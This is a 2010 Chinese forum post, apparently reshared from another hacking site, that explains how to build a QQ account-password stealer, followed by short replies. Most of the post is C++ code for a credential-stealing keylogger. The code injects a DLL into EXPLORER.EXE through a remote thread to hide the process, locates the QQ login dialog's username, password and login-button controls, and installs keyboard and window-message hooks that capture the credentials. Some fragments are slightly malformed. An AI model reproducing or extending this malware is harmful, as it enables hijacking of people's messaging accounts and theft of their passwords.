首页
社区
课程
招聘
[旧帖] [分享]QQ盗号核心编程 0.00雪花
发表于: 2010-4-25 21:24 5532

[旧帖] [分享]QQ盗号核心编程 0.00雪花

2010-4-25 21:24
5532
-
〖分享〗 QQ盗号核心编程
核心, 盗号

本帖标题:QQ盗号核心编程
本贴地址: http://bbs.krshadow.com/thread-21780-1-1.html

QQ盗号核心编程
想必大家都已经知道,这类软件的特点就是在用户不知不觉的时候工作。在任务管理器中是看不到它们的,这就是隐藏了进程。采用插入内核的嵌入方式、利用远程插入线程技术、嵌入DLL线程、或挂接PSAPI等都可以达到效果,哎,既然是个菜鸟就选择一个最简单的来做个实验。

先讲一下思路:需要三个进程A,B,C;两个DLL。

初始进程A,用于在进程B中创建远程线程,创建成功立即退出,不会留给任务管理器任何捕捉它的机会(你根本来不及观察)。

进程B作为远程线程的寄主,选择的时候应该是那些系统中必须执行的进程,比如EXPLORER.EXE。其中的远程线程用于监视目标进程。

进程C为目标进程在这里也就是QQ.EXE。

第一个DLL(InspectQQLandDlg.dll),远程线程的载体。

第二个DLL(MyHook.dll),全局钩子函数的载体。

现在要做是利用进程A把InspectQQLandDlg.dll映射到进程B,同时启动该DLL中的远程线程,再利用该线程监视目标进程(QQ.EXE)QQ登陆窗口,一旦找到,立即把MyHook.dll映射到目标进程来监视用户的输入。

这样也清楚了这个软件设计的总体构架,下面用代码来具体实现。

1。远程线程的创建。先利用进程快照取得目标进程,相对比较简单

HANDLE hSnapshot ;
hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ) ;
if ( hSnapshot == INVALID_HANDLE_VALUE)
{
return 0;
}

string lpName = "EXPLORER.EXE" ;   //设定需要监视的进程名
PROCESSENTRY32 pe;
pe.dwSize = sizeof ( PROCESSENTRY32 );

for( BOOL fOk = Process32First ( hSnapshot, &pe ) ; fOk;   fOk =
Process32Next( hSnapshot, &pe ) )
{
if ( pe.szExeFile == lpName )
{   

//取得宿主进程(EXPLORER.EXE)的句柄
HANDLE hRemoteProcess = OpenProcess ( PROCESS_ALL_ACCESS,
false, pe.th32ProcessID ) ;

//取得目标DLL的当前路径(路径可自由设置)
char szInspectDllPath[128] ;
GetCurrentDirectory ( 128, szInspectDllPath ) ;   
strcat ( szInspectDllPath, "QQLandDlg.dll">\debug\InspectQQLandDlg.dll" ) ;

//申请存放文件名的空间
LPVOID pszInspectDllRemote ;
int InspectDllNameLength = sizeof ( szInspectDllPath ) + 1 ;
pszInspectDllRemote = VirtualAllocEx ( hRemoteProcess,   
NULL, InspectDllNameLength, MEM_COMMIT, PAGE_READWRITE ) ;   

//把dll文件名写入申请的空间
WriteProcessMemory ( hRemoteProcess, pszInspectDllRemote,
(LPVOID)szInspectDllPath, InspectDllNameLength, NULL);

//获取动态链接库函数地址
HMODULE hModule ;
hModule = GetModuleHandle ( "kernel32.DLL" ) ;
LPTHREAD_START_ROUTINE fnStartAddr ;
fnStartAddr = ( LPTHREAD_START_ROUTINE ) GetProcAddress ( hModule,
"LoadLibraryA" ) ;
  
//创建远程线程
HANDLE hInspectRemoteThread = NULL ;//存放远程线程句柄
hInspectRemoteThread = CreateRemoteThread ( hRemoteProcess, NULL, 0,
fnStartAddr, pszInspectDllRemote, 0, NULL ) ;

if( hSnapshot != NULL )
CloseHandle ( hSnapshot ) ;//关闭进程快照

CloseHandle ( hRemoteProcess ) ;
break ;
}
}

2。此时InspectQQLandDlg.DLL已经被映射到EXPLORER.EXE。此时在InspectQQLandDlg.DLL的DllMain(千万不要写成DLLMain)接受到DLL_PROCESS_ATTACH消息,但一般来说不因在DllMain中执行过多的功能(借鉴前人的经验,嘿嘿),于是很容易想到开辟一个新线程。

switch(fdwReason)
{   
case DLL_PROCESS_ATTACH:
{

//下面这句会给你创建远程线程成功的提示。
MessageBox ( 0, "Code Injection success!", "NOTE", MB_OK ) ;

HANDLE hNewThread = CreateThread ( NULL, 0,ThreadForInspect, NULL, 0, 0 ) ;

break;
}
}

在新线程中要达到的目标只是一个循环,利用while()和循环标志(BOOL)isContinue即可以实现。

在这个远程线程中要完成的第二个任务是找到QQ登陆对话框中关键控件。

关于这点网上有很多资料,利用的是FindWindow和FindWindowEx,这是针对以前的版本。在这里已经无效了,现在QQ在这里下了点工夫,采用的是窗口标题采用随机字符。

就以登陆对话框为例,对话框的类为"#32770",或许许多菜鸟朋友会像我在最初的时候一样,傻傻用FindWindow ("QQ用户登陆","#32770") ;结果什么都没有,哎~~

其实可以通过窗口枚举搞清楚QQ在这里到底做了什么手脚。

BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )   
{
if ( !hwnd )
{
return false ;
}
char szWindowName[128] ;
ZeroMemory ( szWindowName, 128 ) ;
GetClassName ( hwnd, szWindowClassName, 128 ) ;//取得类名

if ( !strcmp ( szWindowClassName, "#32770" ) )
{

__asm int 3   

}

return true ;
}

利用上面的程序段,在VC调试器中不断按F5且同时在WATCH中观察szWindowName,很容易发现这个窗口名字符串是由不超过二十个字符组成(多次观察),但其中的元素只有0X13,0X10,0X32,字符串中的每个位置都是三个元素之一。但在SPY++中窗口名中看起来只不过是“ ”,怎么看都只是几个空格(再提醒一下,不要试图通过复制其中的内容,效果可是无法忍受的,呵呵)

事实上登陆窗口可以通过窗口的许多确定因素来确定,比如窗口风格,窗口ID之类的,这些都可以通过SPY++轻易得到(SPY++,好东西啊),下面也就不多发话了,直接给出各个关键控件的代码。

#define UserNameComboBoxId 0x0000008A   //用户名控件ID
#define PasswordEditId   0x000000B4   //密码控件ID   
#define ButtonId     0x00003EA0   //登陆按扭控件ID
#define QQLandDlgMiniStyle 0x94CA00C4   //登陆对话框最小化时的风格
#define QQLandDlgShowStyle 0XB4CA00C4   //登陆对话框在桌面显示时的风格

BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
return false ;

long style = GetWindowLong ( hwnd, GWL_STYLE ) ;
if ( style == QQLandDlgMiniStyle || style == QQLandDlgShowStyle )
{
hQQLand = hwnd ;
EnumChildWindows ( hQQLand, EnumChildWndProc, NULL ) ;

return false ;
}

return true ;
}

BOOL CALLBACK EnumChildWndProc ( HWND hwnd, LPARAM lParam )   
{
if ( !hwnd )
return false ;

//取得指定句柄的控件ID
long id= GetWindowLong ( hwnd, GWL_ID ) ;

if (id == UserNameComboBoxId )
{
hUserName = hwnd ;
}

else if ( id == PasswordEditId )
{
hPassword = hwnd ;
}

else if ( id == ButtonId )
{
hLandButton = hwnd ;
}

return true ;
}

到这里终于取得盼望多时的hUserName,hPassword,hButton这三个控件的句柄。~v~

在这里其实可以用

SendMessage ( hUserName, WM_GETTEXT, 128, (LPARAM)szUserName );

取得UserName(QQ号码),但不能取得密码。

可以随便下载个*号密码,再在密码框中输入几个字符,结果可能是失败,不知道QQ做了什么手脚,有机会再好好研究。既然此路不通,菜鸟也自己的办法去达到目标。

现在远程线程的第二个功能(取得关键控件的句柄)已经完成,接下来要做的事是把MyHook.dll映射到QQ.EXE,这样即可实现对用户键盘输入的监视。

只需调用MyHook.dll的接口函数即可

SetHook ( hQQLand, hUserName, hPassword, hLandButton, true ) ;

3。MyHook.dll模块。

EXPORT BOOL WINAPI SetHook ( HWND hQQLand,
HWND hUserName, HWND hPassword, HWND hLandButton, BOOL isInstall )   
{
if ( isInstall )
{
hQQLandDlg = hQQLand ;
hUserNameEdit = hUserName ;
hPasswordComboBox = hPassword ;
hButton = hLandButton ;

DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ;
hHookDll = GetModuleHandle ( "MyHook" ) ;

hKeyboard = SetWindowsHookEx ( WH_KEYBOARD,   
(HOOKPROC)KeyboardProc, hHookDll, dwQQLandDlgThreadId ) ;

hWndProc = SetWindowsHookEx ( WH_CALLWNDPROC,
(HOOKPROC)CallWndProc, hHookDll, dwQQLandDlgThreadId ) ;   

if ( hKeyboard != NULL && hWndProc != NULL )
return true ;
}

else
{
UnhookWindowsHookEx ( hKeyboard ) ;
UnhookWindowsHookEx ( hWndProc ) ;

hHookDll = NULL ;
hKeyboard = NULL ;
hWndProc = NULL ;   
ZeroMemory ( szPassword, 128 ) ;
pszPasswordLen = 0 ;
}

return false ;
}

这个程序段很简单只是通过检测远程线程的输入安装、卸载钩子函数。

如果对钩子函数不清楚的朋友,看一下MSDN或者WIN32函数集就可以了。

这里对QQ登陆对话框线程设置两个钩子,一个键盘钩子函数记录键盘输入;另一个全局消息钩子。

LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam )
{

//检测回车键是否被按下
if ( wParam == VK_RETURN && lParam > 0 )
{

//由于钩子函数只是记录对密码框的记录,因而在最后时刻取得号码会是准确的
SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );

//此处可以自由处理拦截到的号码和密码(szUserName,szPassword)

//不要忘了变量还原(szUserName,szPassword)
}

if ( lParam > 0 && wParam != VK_RETURN )
{
char KeyName[10] ;
ZeroMemory ( KeyName, 10 ) ;
GetKeyNameText ( lParam, KeyName, 10 ) ;

if ( strlen ( KeyName ) == 1 )
{
strcat ( szPassword, KeyName ) ;
}
}

return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ;
}

也由一部分用户是用鼠标点击登陆按扭的,可由下面代码实现

LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam )
{
CWPSTRUCT *p = (CWPSTRUCT*)lParam ;
if ( p->message == WM_COMMAND && p->hwnd == hButton )
{//同理

SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );   

//这里可添加如何处理密码的语句
}
return CallNextHookEx ( hWndProc, nCode, wParam, lParam )
}

[课程]Linux pwn 探索篇!

收藏
免费 0
支持
分享
最新回复 (44)
雪    币: 62
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
学习了!!!支持一下
2010-4-25 21:47
0
雪    币: 2105
活跃值: (424)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
你这什么年代的啊 还来一堆的进程DLL和FindWindow
2010-4-25 22:19
0
雪    币: 12
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
什么都看不懂啊  啊 啊
2010-4-25 22:57
0
雪    币: 191
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
学习了!支持一下
2010-4-25 23:00
0
雪    币: 76
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
谢谢楼主贴这么多字的文章,但是没有什么实际做用!
2010-4-26 08:13
0
雪    币: 826
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
不懂,不知道是否有用
2010-4-26 09:41
0
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
有没有试用过的看友呀!
2010-4-26 09:44
0
雪    币: 41
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
是我太菜了还是讲的太深了??没弄懂
2010-4-26 09:59
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
old了啊 呵呵
2010-4-26 10:56
0
雪    币: 224
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
消息钩子貌似早就不行了吧
2010-5-6 18:00
0
雪    币: 355
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
看不懂啊啊
2010-5-6 23:26
0
雪    币: 2347
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
学习!!!!!
2010-5-7 01:17
0
雪    币: 121
活跃值: (66)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
这个对最新版的QQ有用吗?
2010-5-7 02:05
0
雪    币: 780
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
那请问现在应该用什么方法呢
2010-5-7 10:02
0
雪    币: 13
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
太难了,不懂/
2010-5-7 10:16
0
雪    币: 253
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
哥们,这个太老了吧,现在qq挂钩的都是wm_keyboard_ll级的,你怎么还在wm_keyboard层混啊
2010-5-7 10:30
0
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
用过的说说吧
2010-5-7 11:47
0
雪    币: 46
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
你这什么年代的
2010-5-7 17:09
0
雪    币: 233
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
确实老了, 不适用了,可以通过直接操作键盘端口得到键盘记录
2010-5-17 22:52
0
雪    币: 3
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
都很厉害的人物
2010-5-18 00:33
0
雪    币: 6
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
不懂,学习了
2010-5-21 09:22
0
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
看看 ,,学习学习!!
2010-5-21 10:26
0
雪    币: 173
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
强大,学习了!~~
2010-5-21 13:34
0
雪    币: 531
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
也想学,但现在还是水平低。
2010-5-21 13:49
0
游客
登录 | 注册 方可回帖
返回
//